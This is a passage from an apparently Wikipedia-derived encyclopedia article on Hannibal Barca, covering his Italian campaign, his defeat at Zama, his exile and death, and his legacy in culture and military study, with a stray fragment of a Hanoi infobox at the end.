          By whichever route, his passage over the Alps is one of the most celebrated achievements of any military force in ancient warfare. Hannibal successfully crossed the mountains, despite numerous obstacles such as harsh climate and terrain, the guerrilla tactics of the native tribes, and the challenge of commanding an army diverse in race and language. He descended from the foothills and arrived into northern Italy in the vicinity of modern Turin, but accompanied by only half the forces he had started with, and only a few elephants. From the start, he seems to have calculated that he would have to operate without aid from Hispania. Historians like Serge Lancell questioned the reliability of the figures for the number of troops he had when he left Hispania.


          


          Battle of Trebia


          Hannibal's perilous march brought him into the Roman territory and frustrated the attempts of the enemy to fight out the main issue on foreign ground. His sudden appearance among the Gauls of the Po Valley, moreover, enabled him to detach those tribes from their new allegiance to the Romans before the latter could take steps to check the rebellion.
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          Publius Cornelius Scipio, the consul who commanded the Roman force sent to intercept Hannibal, had not expected Hannibal to make an attempt to cross the Alps, since the Romans were prepared to fight the war in Iberia. With a small detachment still positioned in Gaul, Scipio made an attempt to intercept Hannibal. Through prompt decision and speedy movement, he succeeded in transporting his army to Italy by sea, in time to meet Hannibal. Hannibal's forces moved through the Po Valley and were engaged in a small confrontation at Ticinus. Here, Hannibal forced the Romans, by virtue of his superior cavalry, to evacuate the plain of Lombardy. While the victory was minor, it encouraged the Gauls and Ligurians to join the Carthaginian cause, whose troops bolstered his army back to 40,000 men. Scipio was severely injured and retreated across the river Trebia to camp at Placentia with his army intact.


          The other Roman consular army was rushed to the Po Valley. Even before news of the defeat at Ticinus had reached Rome, the senate had ordered the consul Sempronius Longus to bring his army back from Sicily to meet Scipio and face Hannibal. Hannibal, by skillful maneuvers, was in position to head him off, for he lay on the direct road between Placentia and Arminum, by which Sempronius would have to march in order to reinforce Scipio. He then captured Clastidium, from which he drew large amounts of rations for his men. But this gain was not without its loss, as Sempronius avoided Hannibal's watchfulness, slipped around his flank, and joined his colleague in his camp near the Trebbia River near Placentia. There, in December of the same year, Hannibal had an opportunity to show his superior military skill at Trebia; after wearing down the excellent Roman infantry he cut it to pieces by a surprise attack from an ambush in the flank.


          


          Battle of Lake Trasimene


          Having secured his position in northern Italy by this victory, Hannibal quartered his troops for the winter with the Gauls, whose support for him abated. In the Spring of 217 BC, Hannibal decided to find a more reliable base of operations farther south. Expecting Hannibal to carry on advancing to Rome, Cnaeus Servilius and Gaius Flaminius (the new Consuls of Rome) took their armies to block the Eastern and Western routes Hannibal could use to get to Rome.
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          The only alternate route to central Italy lay at the mouth of the Arno. This route was practically one huge marsh, and happened to be overflowing more than usual during this particular season. Hannibal knew that this route was full of difficulties, but it remained the surest and certainly the quickest route to Central Italy. As Polybius claims, Hannibals men marched for four days and three nights, through a route which was under water, suffering terribly from fatigue and enforced want of sleep. He crossed the Apennines (during which he lost his left eye because of conjunctivitis) and the seemingly impassable Arno without opposition, but in the marshy lowlands of the Arno, he lost a large part of his force, including, it would seem, his remaining elephants.


          Arriving in Etruria in the spring of 217 BC, Hannibal decided to lure the main Roman army, under Flaminius, into a pitched battle, by devastating under his very own eye the area he had been sent to protect. As Polybius tells us, he [Hannibal] calculated that, if he passed the camp and made a descent into the district beyond, Flaminius (partly for fear of popular reproach and partly of personal irritation) would be unable to endure watching passively the devastation of the country but would spontaneously follow him . . . and give him opportunities for attack. At the same time, Hannibal tried to break the allegiance of Romes allies, by proving that Flaminius was powerless to protect them. Despite this, Hannibal found Flaminius still passively encamped at Arretium. Unable to draw Flaminius into battle by mere devastation, Hannibal marched boldly around his opponents left flank and effectively cut Flaminius off from Rome (thus executing the first recorded turning movement in military history). Advancing through the uplands of Etruria, Hannibal provoked Flaminius to a hasty pursuit and, catching him in a defile on the shore of Lake Trasimenus, destroyed his army in the waters or on the adjoining slopes while killing Flaminius as well (see Battle of Lake Trasimene). He had now disposed of the only field force which could check his advance upon Rome, but, realizing that without siege engines he could not hope to take the capital, he preferred to exploit his victory by passing into central and southern Italy and encouraging a general revolt against the sovereign power. After Lake Trasimeno, Hannibal stated, I have not come to fight Italians, but on behalf of the Italians against Rome.


          The Romans appointed Fabius Maximus as a dictator. Departing from Roman military traditions, Fabius adopted the Fabian strategy  named after him  of refusing open battle with his opponent while placing several Roman armies in Hannibals vicinity to limit his movement.
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          Having ravaged Apulia without provoking Fabius to battle, Hannibal decided to march through Samnium to Campania, one of the richest and most fertile provinces of Italy, hoping that the devastation would draw Fabius into battle. Fabius closely followed Hannibals path of destruction, yet still refused to let himself be drawn, and thus remained on the defensive. This strategy was unpopular with many Romans, who believed it was a form of cowardice.


          Hannibal decided that it would be unwise to winter in the already devastated lowlands of Campania but Fabius had ensured that all the passes out of Campania were blocked. To avoid this, Hannibal deceived the Romans into thinking that the Carthaginian Army was going to escape through the woods. As the Romans moved off towards the woods, Hannibal's army occupied the pass, and his army made their way through the pass unopposed. Fabius was within striking distance but in this case his caution worked against him. Smelling a stratagem (rightly), he stayed put. For the winter, Hannibal found comfortable quarters in the Apulian plain. What Hannibal achieved in extricating his army was, as Adrian Goldsworthy puts it, "a classic of ancient generalship, finding its way into nearly every historical narrative of the war and being used by later military manuals". This was a severe blow to Fabiuss prestige, and soon after this, his period of power ended.


          


          Battle of Cannae
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          In the spring of 216 BC, Hannibal took the initiative and seized the large supply depot at Cannae in the Apulian plain. By seizing Cannae, Hannibal had placed himself between the Romans and their crucial source of supply. Once the Roman Senate resumed their Consular elections in 216, they appointed Gaius Terentius Varro and Lucius Aemilius Paullus as Consuls. In the meantime, the Romans, hoping to gain success through sheer strength in numbers, raised a new army of unprecedented size, estimated by some to be as large as 100,000 men.


          The Roman and Allied legions of the Consuls, resolving to confront Hannibal, marched southward to Apulia. They eventually found him on the left bank of the Aufidus River, and encamped six miles away. On this occasion, the two armies were combined into one, the Consuls having to alternate their command on a daily basis. The Consul Varro, who was in command on the first day, was a man of reckless and hubristic nature, and was determined to defeat Hannibal. Hannibal capitalized on the eagerness of Varro and drew him into a trap by using an envelopment tactic which eliminated the Roman numerical advantage by shrinking the surface area where combat could occur. Hannibal drew up his least reliable infantry in a semicircle in the centre with the wings composed of the Gallic and Numidian horse. The Roman legions forced their way through Hannibal's weak centre, but the Libyan Mercenaries in the wings, swung around by the movement, menaced their flanks. The onslaught of Hannibal's cavalry was irresistible, and Hasdrubal (not Hasdrubal Barca) who commanded the left, pushed in the Roman right and then swept across the rear and attacked Varro's cavalry on the Roman left. Then he attacked the legions from behind. As a result, the Roman army was hemmed in with no means of escape.


          Due to these brilliant tactics, Hannibal, with much inferior numbers, managed to surround and destroy all but a small remainder of this force. Depending upon the source, it is estimated that 50,000-70,000 Romans were killed or captured at Cannae. Among the dead were the Roman consul Lucius Aemilius Paullus, as well as two consuls for the preceding year, two quaestors, twenty-nine out of the forty-eight military tribunes and an additional eighty senators (at a time when the Roman Senate comprised no more than 300 men, this constituted 25%30% of the governing body). This makes the Battle of Cannae one of the most catastrophic defeats in the history of Ancient Rome, and one of the bloodiest battles in all of human history (in terms of the number of lives lost within a single day). After Cannae, the Romans were not as enthusiastic in challenging Hannibal in pitched battles, instead preferring to defeat him by attrition, relying on their advantages of supply and manpower. As a result, Hannibal and Rome fought no more major battles in Italy for the rest of the war.
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          The effect on morale of this victory meant that many parts of Italy joined Hannibal's cause. As Polybius notes, "How much more serious was the defeat of Cannae, than those which preceded it can be seen by the behaviour of Romes allies; before that fateful day, their loyalty remained unshaken, now it began to waver for the simple reason that they despaired of Roman Power." During that same year, the Greek cities in Sicily were induced to revolt against Roman political control, while the Macedonian king, Philip V, pledged his support to Hannibal  thus initiating the First Macedonian War against Rome. Hannibal also secured an alliance with newly appointed King Hieronymus of Syracuse. It is often argued that if Hannibal had received proper material reinforcements from Carthage he might have succeeded with a direct attack upon Rome. For the present he had to content himself with subduing the fortresses which still held out against him, and the only other notable event of 216 BC was the defection of certain Italian territories, including Capua, the second largest city of Italy, which Hannibal made his new base. However, only a few of the Italian city-states which he had expected to gain as allies consented to join him.


          


          Stalemate


          The war in Italy settled into a strategic stalemate. The Romans utilized the attritional strategies Fabius had taught them, and which, they finally realized, were the only feasible means of defeating Hannibal. Indeed, Fabius received the surname "Cunctator" because of his policy of attrition. The Romans deprived Hannibal of a large-scale battle and instead, assaulted his weakening army with multiple smaller armies in an attempt to both weary him and create unrest in his troops. For the next few years, Hannibal was forced to sustain a scorched earth policy and obtain local provisions for protracted and ineffectual operations throughout Southern Italy. His immediate objectives were reduced to minor operations which centered mainly round the cities of Campania.


          As the forces detached his lieutenants were generally unable to hold their own, and neither his home government nor his new ally Philip V of Macedon helped to make good his losses, his position in southern Italy became increasingly difficult and his chance of ultimately conquering Rome grew ever more remote. Hannibal still won a number of notable victories: completely destroying two Roman armies in 212 BC, and at one point, killing two Consuls (which included the famed Marcus Claudius Marcellus) in a battle in 208 BC. Nevertheless, without the resources his allies could contribute, or reinforcements from Carthage, Hannibal could not make further significant gains. Thus, inadequately supported by his Italian allies, abandoned by his government (either because of jealousy or simply because Carthage was overstretched) , and unable to match Romes resources, Hannibal slowly began losing ground. Hannibal continued defeating the Romans whenever he could bring them into battle, yet he was never able to complete another decisive victory that produced a lasting strategic effect.


          Carthaginian political will was embodied in the ruling oligarchy. While there was a Carthaginian Senate, the real power in Carthage was with the inner " Council of 30 Nobles" and the board of judges from ruling families known as the " Hundred and Four." These two bodies consisted of the wealthy, commercial families of Carthage. Two political factions operated in Carthage: the war party, also known as the " Barcids" (Hannibals family name) and the peace party led by Hanno the Great. Hanno had been instrumental in denying Hannibals requested reinforcement following the battle at Cannae.


          Hannibal had started the war without the full backing of Carthaginian oligarchy. His attack of Saguntum had presented the oligarchy with a choice of war with Rome or loss of prestige in Iberia. The oligarchy and not Hannibal controlled the strategic resources of Carthage. Hannibal constantly sought reinforcement from either Iberia or North Africa. Hannibals troops lost in combat were replaced with less well-trained and motivated mercenaries from Italy or Gaul. The commercial interests of the Carthaginian oligarchy dictated the reinforcement of Iberia rather than Hannibal throughout the duration of the campaign.


          


          Hannibal's retreat in Italy


          In 212 BC Hannibal captured Tarentum but he failed to obtain control of the harbour. The tide was slowly turning against him, and in favour of Rome.


          The Romans mounted two sieges of Capua, which fell in 211 BC, and the Romans completed their conquest of Syracuse and destruction of a Carthaginian army in Sicily. Shortly thereafter, the Romans pacified Sicily and entered into an alliance with the Aetolian League to counter Phillip V. Philip, who attempted to exploit Rome's preoccupation in Italy to conquer Illyria, now found himself under attack from several sides at once and was quickly subdued by Rome and her Greek allies. Meanwhile, Hannibal had defeated Fulvius at Herdonea in Apulia, but lost Tarentum in the following year.


          In 210 BC Hannibal again proved his superiority in tactics by inflicting a severe defeat at Herdoniac (modern Ordona) in Apulia upon a proconsular army, and in 208 BC destroyed a Roman force engaged in the siege of Locri Epizephyri. But with the loss of Tarentum in 209 BC and the gradual reconquest by the Romans of Samnium and Lucania, his hold on south Italy was almost lost. In 207 BC he succeeded in making his way again into Apulia, where he waited to concert measures for a combined march upon Rome with his brother Hasdrubal Barca. On hearing, however, of his brother's defeat and death at the Metaurus he retired into Bruttium, where he maintained himself for the ensuing years. The combination of these events marked the end to Hannibal's success in Italy. With the failure of his brother Mago Barca in Liguria (205 BC-203 BC) and of his own negotiations with Philip of Macedon, the last hope of recovering his ascendancy in Italy was lost. In 203 BC, after nearly fifteen years of fighting in Italy, and with the military fortunes of Carthage rapidly declining, Hannibal was recalled to Carthage to direct the defense of his native country against a Roman invasion under Scipio Africanus.
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          Conclusion of Second Punic War (203201 BC)


          


          Return to Carthage


          In 203 BC, Hannibal was recalled from Italy by the war party at Carthage. After leaving a record of his expedition engraved in Punic and Greek upon bronzen tablets in the temple of Juno at Crotona, he sailed back to Africa. His arrival immediately restored the predominance of the war party, who placed him in command of a combined force of African levies and his mercenaries from Italy. In 202 BC, Hannibal met Scipio in a fruitless peace conference. Despite mutual admiration, negotiations floundered due to Roman allegations of "Punic Faith," referring to the breach of protocols which ended the First Punic War by the Carthaginian attack on Saguntum, and a Carthaginan attack on a stranded Roman fleet. What had happened was that Scipio and Carthage had worked out a peace plan, which was approved by Rome. The terms of the treaty were quite modest, but the war had been long for the Romans. Carthage could keep its African territory but would lose its overseas empire, a fait-accompli. Masinissa ( Numidia) was to be independent. Also, Carthage was to reduce its fleet and pay a war indemnity. But Carthage then made a terrible blunder. Its long-suffering citizens had captured a stranded Roman fleet in the Gulf of Tunes and stripped it of supplies, an action which aggravated the faltering negotiations. Meanwhile Hannibal, recalled from Italy by the Carthaginian senate, had returned with his army. Fortified by both Hannibal and the supplies, the Carthaginians rebuffed the treaty and Roman protests. The decisive battle at Zama soon followed, and it removed Hannibal's air of invincibility.


          


          Battle of Zama


          Unlike most battles of the Second Punic War, at Zama the Romans had superiority in cavalry and the Carthaginians had superiority in infantry. This Roman cavalry superiority was due to the betrayal of Masinissa, who had earlier assisted Carthage in Iberia, but changed sides in 206 BC with the promise of land and due to his personal conflicts with Syphax, a Carthaginian ally. This betrayal gave Scipio Africanus an advantage that had previously been possessed by the Carthaginians. Although the aging Hannibal was suffering from mental exhaustion and deteriorating health after years of campaigning in Italy, the Carthaginians still had the advantage in numbers and were boosted by the presence of 80 war elephants.


          
            [image: Engraving of the Battle of Zama by Cornelis Cort, 1567.Note that the elephants shown are Asian ones rather than the very small North African ones used by Carthage.]

            
              Engraving of the Battle of Zama by Cornelis Cort, 1567.

              Note that the elephants shown are Asian ones rather than the very small North African ones used by Carthage.
            

          


          The Roman cavalry won an early victory by swiftly routing the Carthaginian horse, and standard Roman tactics for limiting the effectiveness of the Carthaginian war elephants were effective. However, the battle remained closely fought. At one point it seemed that Hannibal was on the verge of victory, but Scipio was able to rally his men, and his cavalry, having routed the Carthaginian horse, attacked Hannibal's rear. This two-pronged attack caused the Carthaginian formation to disintegrate and collapse. With their foremost general defeated, the Carthaginians had no choice but to accept defeat and surrender to Rome. Carthage lost approximately 20,000 troops with an additional 15,000 wounded. In contrast, the Romans suffered only 1,500 casualties. The battle resulted in a loss of respect for Hannibal by his fellow Carthaginians. It marked the last major battle of the Second Punic War, with Rome the victor. The conditions of defeat were such that Carthage could no longer battle for Mediterranean supremacy.


          


          Later career


          


          Peacetime Carthage (200196 BC)


          Hannibal was still only 43 and soon showed that he could be a statesman as well as a soldier. Following the conclusion of a peace that left Carthage stripped of its formerly mighty empire, Hannibal prepared to take a back seat for a time. However, the blatant corruption of the oligarchy gave Hannibal a chance to re-emerge and he was elected as shofet, or chief magistrate. The office had become rather insignificant, but Hannibal restored its power and authority. The oligarchy, always jealous of him, had even charged him with having betrayed the interests of his country while in Italy, for neglecting to take Rome when he might have done so. So effectively did Hannibal reform abuses that the heavy tribute imposed by Rome could be paid by installments without additional and extraordinary taxation. He also reformed the Hundred and Four, stipulating that its membership be chosen by direct election rather than co-option. He also used citizen support to change the term of office in the Hundred and Four from life to a year with a term limit of two years.


          


          Exile and death (195183 BC)


          Fourteen years after the victory of Zama, the Romans, alarmed by Carthage's renewed prosperity, demanded Hannibal's surrender. Hannibal thereupon went into voluntary exile. First he journeyed to Tyre, the mother-city of Carthage, and then to Ephesus, where he was honorably received by Antiochus III of Syria, who was preparing for war with Rome. Hannibal soon saw that the king's army was no match for the Romans. He advised him to equip a fleet and land a body of troops in the south of Italy, offering to take command himself. But he could not make much impression on Antiochus, who listened to his courtiers and would not entrust Hannibal with any important office.


          According to Cicero, while at the court of Antiochus, Hannibal attended a lecture by Phormio, a philosopher, that ranged through many topics. When Phormio finished a discourse on the duties of a general, Hannibal was asked his opinion. He replied: "I have seen during my life many an old fool; but this one beats them all." Another story about Hannibal in exile gives a strange slant to his supposed Punic perfidy. Antiochus III showed off a vast and well-armed formation to Hannibal and asked him if they would be enough for the Roman Republic, to which Hannibal replied, "Yes, enough for the Romans, however greedy they may be." It should be noted that in this situation Hannibal had not been given command of the army, but Antiochus himself had developed the battle plan and was subsequently defeated.


          In 196 BC he was placed in command of a Phoenician fleet but was defeated in a battle off the Eurymedon River. According to Strabo and Plutarch, Hannibal also received hospitality at the Armenian court of Artaxias I where he planned and supervised the building of the new royal capital Artaxata. From the court of Antiochus, who seemed prepared to surrender him to the Romans, Hannibal fled to Crete, but he soon went back to Asia Minor and sought refuge with Prusias I of Bithynia, who was engaged in warfare with Rome's ally, King Eumenes II of Pergamum. Hannibal went on to serve Prusias in this war. In one of the victories he gained over Eumenes at sea, it is said that he used one of the first examples of biological warfare - he threw cauldrons of snakes into the enemy vessels. Hannibal also visited Tyre; the home of his forefathers. However the Romans were determined to hunt him down, and they insisted on his surrender. Prusias agreed to give him up, but Hannibal was determined not to fall into his enemies' hands. At Libyssa on the eastern shore of the Sea of Marmora, he took poison, which, it was said, he had long carried about with him in a ring. The precise year of his death is a matter of controversy. If, as Livy seems to imply, it was 183 BC, he died in the same year as Scipio Africanus, at the age of sixty four.


          Effigues of Hannibal: From Hannibal, there are no authentic effigies. Busts come from the early modern times, coins do not show the head of Hannibal


          


          Possible Gravesite


          In modern-day Turkey (ruins near Diliskelesi, South of Gebze, 60km East of Istanbul), an interesting curiosity is to be found in an industrial estate on a small hill beneath some cypress trees. Reputed to be Hannibal's grave, it was magnificently restored by Emperor Septimius Severus (A.D. 193-211), but it is now just a pile of stones. Excavations were carried out in 1906 by Wiegand, but he was skeptical of the site.


          


          Legacy to the ancient world


          Long after his death, his name continued to carry a portent of great or imminent danger within the Roman Republic. It was written that he taught the Romans, who claimed to be fierce descendants of Mars, the meaning of fear. For generations, Roman housekeepers would tell their children brutal tales of Hannibal when they misbehaved. In fact, Hannibal became such a figure of terror, that whenever disaster struck, the Roman Senators would exclaim " Hannibal ad portas" (Hannibal is at the Gates!) to express their fear or anxiety. This famous Latin phrase evolved into a common expression that is often still used when a client arrives through the door or when one is faced with calamity. This illustrates the psychological impact Hannibal's presence in Italy had on Roman Culture.


          A grudging admiration for Hannibal is evident in the works of Roman historians such as Livy and Juvenal. The Romans even built statues of the Carthaginian in the very streets of Rome to advertise their defeat of such a worthy adversary. It is plausible to suggest that Hannibal engendered the greatest fear Rome had towards an enemy. Nevertheless, they grimly refused to admit the possibility of defeat and rejected all overtures for peace, and they even refused to accept the ransom of prisoners after Cannae.


          During the war there are no reports of revolutions among the Roman citizens, no factions with the Senate desiring peace, no pro-Carthaginian Roman turncoats, no coups or dictatorships. Roman aristocrats throughout the war ferociously competed with each other for positions of command to fight against Rome's most dangerous enemy. Hannibal's military genius was not enough to really disturb the Roman political process and the collective political and military genius of the Roman people. As Lazenby states, "It says volumes, too, for their political maturity and respect for constitutional forms that the complicated machinery of government continued to function even amidst disaster--there are few states in the ancient world in which a general who had lost a battle like Cannae would have dared to remain, let alone would have continued to be treated respectfully as head of state." According to the historian Titus Livy Hannibal's military genius was feared among the Romans and during Hannibal's march against Rome in 211 BC "a messenger who had travelled from Fregellae for a day and a night without stopping created great alarm in Rome, and the excitement was increased by people running about the City with wildly exaggerated accounts of the news he had brought. The wailing cry of the matrons was heard everywhere, not only in private houses but even in the temples. Here they knelt and swept the temple-floors with their dishevelled hair and lifted up their hands to heaven in piteous entreaty to the gods that they would deliver the City of Rome out of the hands of the enemy and preserve its mothers and children from injury and outrage." In the Senate the news were "received with varying feelings as men's temperaments differed," so it was decided to keep Capua under siege, but send 15,000 infantry and 1,000 cavalry as reinforcements to Rome..


          According to Livy, the land occupied by Hannibal's army outside Rome in 211 BC was sold at the very time of its occupation and for the same price. This may not be true but as Lazenby states, "could well be, exemplifying as it does not only the supreme confidence felt by the Romans in ultimate victory, but also the way in which something like normal life continued.. After Cannae the Romans showed a considerable steadfastness in adversity. An undeniable proof of Rome's confidence is demonstrated by the fact that after the Cannae disaster she was left virtually defenseless, but the Senate still chose not to withdraw a single garrison from an overseas province to strengthen the city. In fact, they were reinforced and the campaigns there maintained until victory was secured; beginning first in Sicily under direction of Claudius Marcellus, and later Hispania under Scipio Africanus. Although the long-term consequences of Hannibal's war are debatable, this war was undeniably Rome's "finest hour".


          Most of the sources available to historians about Hannibal are from Romans. They considered him the greatest enemy Rome had ever faced. Livy gives us the idea that he was extremely cruel. Even Cicero, when he talked of Rome and her two great enemies, spoke of the "honorable" Pyrrhus and the "cruel" Hannibal. Yet a different picture is sometimes revealed. When Hannibal's successes had brought about the death of two Roman consuls, he vainly searched for the body of Gaius Flaminius on the shores of Lake Trasimene, held ceremonial rituals in recognition of Lucius Aemilius Paullus, and sent Marcellus' ashes back to his family in Rome. Any bias attributed to Polybius, however, is more troublesome, since he was clearly sympathetic towards Hannibal. Nevertheless, Polybius spent a long period as a hostage in Italy and relied heavily on Roman sources, so there remains the possibility that he was reproducing elements of Roman propaganda.


          


          Legacy


          
            [image: The material of legend: in "Snow-storm: Hannibal and his Army Crossing the Alps", J.M.W. Turner envelopes Hannibal’s crossing of the Alps in Romantic atmosphere]
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          Hannibal's name is also commonplace in later art and popular culture, an objective measure of his foreign influence on Western history.


          Like other military leaders, Hannibal's victories against superior forces in an ultimately losing cause won him enduring fame that outlasted his native country within North Africa. His crossing of the Alps remains one of the most monumental military feats of ancient warfare and has since captured the imagination of the world (romanticized by several artworks).


          


          TV and film


          
            
              	Year

              	Film

              	Other notes
            


            
              	2008

              	Hannibal the Conqueror

              	Upcoming Motion Picture starring Vin Diesel
            


            
              	2006

              	Hannibal - Rome's Worst Nightmare

              	TV film, starring Alexander Siddig
            


            
              	2005

              	Hannibal vs. Rome

              	in National Geographic Channel
            


            
              	2004

              	The Phantom of the Opera

              	The beginning Opera being rehearsed is one about Hannibal so titled Hannibal
            


            
              	2005

              	The True Story of Hannibal

              	British documentary
            


            
              	2001

              	Hannibal: The Man Who Hated Rome

              	British documentary
            


            
              	1997

              	The Great Battles of Hannibal

              	British documentary
            


            
              	1996

              	Gullivers Travels

              	Gulliver summons Hannibal from a magic mirror.
            


            
              	1960

              	Annibale

              	Italian Motion Picture starring Victor Mature
            


            
              	1955

              	Jupiter's Darling

              	MGM musical picture starring Howard Keel and Esther Williams
            


            
              	1939

              	Scipio Africanus - the Defeat of Hannibal (Scipione l'africano)

              	Italian Motion Picture
            


            
              	1914

              	Cabiria

              	Italian Silent film
            

          


          


          Comics


          A humorous chronicle of Hannibal's campaign, Hannibal Goes to Rome ran in DC Comics' May 2008 Zuda competition.


          


          Literature


          Novel unless otherwise noted:


          
            	written 1308-21, Dante's Divine Comedy, poem, Inferno XXXI.97-132, 115-124 ( Battle of Zama) and Paradiso VI


            	1726, Gulliver's Travels, satirical work


            	1862, Gustave Flaubert's Salammb, set in Carthage at the time of Hamilcar Barca. Hannibal appears as a child.


            	1996, Elisabeth Craft, A Spy for Hannibal: A Novel of Carthage, 091015533X


            	Ross Leckie, Carthage trilogy, source of the 2008 film (1996, Hannibal: A Novel, ISBN 0-89526-443-9; 1999, Scipio, a Novel, ISBN 0-349-11238-X; Carthage, 2000, ISBN 0-86241-944-1)


            	2005, Terry McCarthy, The Sword of Hannibal, ISBN 0-446-61517-X


            	2006, David Anthony Durham, Pride of Carthage: A Novel of Hannibal, ISBN 0-385-72249-4


            	2006, Angela Render, Forged By Lightning: A Novel of Hannibal and Scipio, ISBN 1-4116-8002-2

          


          


          Theatre and opera


          
            	In Hector Berlioz's 1858 opera Les Troyens, he appears in a vision to Dido just before she dies.


            	In Andrew Lloyd Webber's 1986 musical The Phantom of the Opera, the Opera Populaire is in rehearsal for an opera about Hannibal.

          


          


          Military history


          Hannibal is usually ranked among the best military strategists and tacticians. According to Appian, several years after the Second Punic War, Hannibal was a political advisor in the Seleucid Kingdom and Scipio was sent there on a diplomatic mission from Rome.


          
            
              	

              	
                It is said that at one of their meetings in the gymnasium Scipio and Hannibal had a conversation on the subject of generalship, in the presence of a number of bystanders, and that Scipio asked Hannibal whom he considered the greatest general, to which the latter replied, "Alexander of Macedonia."

                To this Scipio assented since he also yielded the first place to Alexander. Then he asked Hannibal whom he placed next, and he replied, " Pyrrhus of Epirus," because he considered boldness the first qualification of a general; "for it would not be possible," he said, "to find two kings more enterprising than these."


                Scipio was rather nettled by this, but nevertheless he asked Hannibal to whom he would give the third place, expecting that at least the third would be assigned to him; but Hannibal replied, "To myself; for when I was a young man I conquered Hispania and crossed the Alps with an army, the first after Hercules. I invaded Italy and struck terror into all of you, laid waste 400 of your towns, and often put your city in extreme peril, all this time receiving neither money nor reinforcements from Carthage."


                As Scipio saw that he was likely to prolong his self-laudation he said, laughing, "Where would you place yourself, Hannibal, if you had not been defeated by me?" Hannibal, now perceiving his jealousy, replied, "In that case I should have put myself before Alexander." Thus Hannibal continued his self-laudation, but flattered Scipio in a delicate manner by suggesting that he had conquered one who was the superior of Alexander.


                At the end of this conversation Hannibal invited Scipio to be his guest, and Scipio replied that he would be so gladly if Hannibal were not living with Antiochus, who was held in suspicion by the Romans. Thus did they, in a manner worthy of great commanders, cast aside their enmity at the end of their wars.

              

              	
            

          


          Hannibal's exploits (especially his victory at Cannae) continue to be studied in military academies all over the world.


          
            [image: Hannibal's celebrated feat in crossing the Alps with war elephants passed into European legend: a fresco detail, ca. 1510, Capitoline Museums, Rome]
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          The author of the 1911 Encyclopdia Britannica article praises Hannibal in these words:


          
            As to the transcendent military genius of Hannibal there cannot be two opinions. The man who for fifteen years could hold his ground in a hostile country against several powerful armies and a succession of able generals must have been a commander and a tactician of supreme capacity. In the use of strategies and ambuscades he certainly surpassed all other generals of antiquity. Wonderful as his achievements were, we must marvel the more when we take into account the grudging support he received from Carthage. As his veterans melted away, he had to organize fresh levies on the spot. We never hear of a mutiny in his army, composed though it was of North Africans, Iberians and Gauls. Again, all we know of him comes for the most part from hostile sources. The Romans feared and hated him so much that they could not do him justice. Livy speaks of his great qualities, but he adds that his vices were equally great, among which he singles out his more than Punic perfidy and an inhuman cruelty. For the first there would seem to be no further justification than that he was consummately skillful in the use of ambuscades. For the latter there is, we believe, no more ground than that at certain crises he acted in the general spirit of ancient warfare. Sometimes he contrasts most favorably with his enemy. No such brutality stains his name as that perpetrated by Claudius Nero on the vanquished Hasdrubal. Polybius merely says that he was accused of cruelty by the Romans and of avarice by the Carthaginians. He had indeed bitter enemies, and his life was one continuous struggle against destiny. For steadfastness of purpose, for organizing capacity and a mastery of military science he has perhaps never had an equal.

          


          Even his Roman chroniclers acknowledged his supreme military leadership, writing that, "he never required others to do what he could and would not do himself". According to Polybius 23, 13, p. 423: "It is a remarkable and very cogent proof of Hannibal's having been by nature a real leader and far superior to anyone else in statesmanship, that though he spent seventeen years in the field, passed through so many barbarous countries, and employed to aid him in desperate and extraordinary enterprises numbers of men of different nations and languages, no one ever dreamt of conspiring against him, nor was he ever deserted by those who had once joined him or submitted to him."


          Alfred Graf von Schlieffen's eponymously-titled " Schlieffen Plan" was developed from his military studies, with particularly heavy emphasis on Hannibal's envelopment technique he employed to surround and victoriously destroy the Roman army at Cannae. George S. Patton believed that he was a reincarnation of Hannibal as well as many other people including a Roman legionary and a Napoleonic soldier. Norman Schwarzkopf, the commander of the Coalition Forces in the Gulf War, claimed that "The technology of war may change, the sophistication of weapons certainly changes. But those same principles of war that applied to the days of Hannibal apply today."


          According to the military historian, Theodore Ayrault Dodge,


          
            
              	

              	Hannibal excelled as a tactician. No battle in history is a finer sample of tactics than Cannae. But he was yet greater in logistics and strategy. No captain ever marched to and fro among so many armies of troops superior to his own numbers and material as fearlessly and skillfully as he. No man ever held his own so long or so ably against such odds. Constantly overmatched by better soldiers, led by generals always respectable, often of great ability, he yet defied all their efforts to drive him from Italy, for half a generation. Excepting in the case of Alexander, and some few isolated instances, all wars up to the Second Punic War, had been decided largely, if not entirely, by battle-tactics. Strategic ability had been comprehended only on a minor scale. Armies had marched towards each other, had fought in parallel order, and the conqueror had imposed terms on his opponent. Any variation from this rule consisted in ambuscades or other stratagems. That war could be waged by avoiding in lieu of seeking battle; that the results of a victory could be earned by attacks upon the enemys communications, by flank-maneuvers, by seizing positions from which safely to threaten him in case he moved, and by other devices of strategy, was not understood... [However] For the first time in the history of war, we see two contending generals avoiding each other, occupying impregnable camps on heights, marching about each other's flanks to seize cities or supplies in their rear, harassing each other with small-war, and rarely venturing on a battle which might prove a fatal disasterall with a well-conceived purpose of placing his opponent at a strategic disadvantage... That it did so was due to the teaching of Hannibal.

              	
            

          


          Timeline


          
            
              Timeline of Hannibal's life (247 BC-c. 183 BC)
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              	Military history


              	Famous military commanders

            


            
              
                	
                  
                    
                      	
                        
Notable Carthaginians
                      
                    


                    
                      	
                    


                    
                      	
                        
                          Ad Herbal  Saint Aurelius  Carthalo  Dido  Hamilcar (Drepanum)  Hamilcar Barca  Hannibal Barca  Hannibal Gisco  Hannibal Monomachus  Hannibal the Rhodian  Hanno the Elder  Hanno the Great  Hanno the Navigator  Hanno, son of Bomilcar  Hasdrubal Barca  Hasdrubal Gisco  Hasdrubal the Fair  Hasdrubal, commander of the service corps  Himilco the Navigator  Mago (agricultural writer)  Mago Barca  Maharbal  Saints Perpetua and Felicitas  Sophonisba
                        

                      
                    

                  

                
              

            


            
              
                	Persondata
              


              
                	NAME

                	Hannibal Barca
              


              
                	ALTERNATIVE NAMES

                	Hannibal (common referent); Hǎnnibal Barca (alternate form)
              


              
                	SHORT DESCRIPTION

                	Punic military commander and a politician
              


              
                	DATE OF BIRTH

                	247 BC
              


              
                	PLACE OF BIRTH

                	Carthage (now Tunis, Tunisia)
              


              
                	DATE OF DEATH

                	ca. 183 BC
              


              
                	PLACE OF DEATH

                	Libyssa (now Gebze, Turkey)
              

            


             

          


          
            Retrieved from " http://en.wikipedia.org/wiki/Hannibal"
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              	Central city

              	Hanoi
            


            
              	Districts

              	14
            


            
              	Founded, Capital of the Đại Việt Kingdom

              	1010
            


            
              	Capital of Vietnam

              	September 2, 1945
            


            
              	Area
            


            
              	-City

              	920.97 km(355.6 sqmi)
            


            
              	- Urban

              	186.22km(71.9sqmi)
            


            
              	Population (2007)
            


            
              	-City

              	3.398.889
            


            
              	- Density

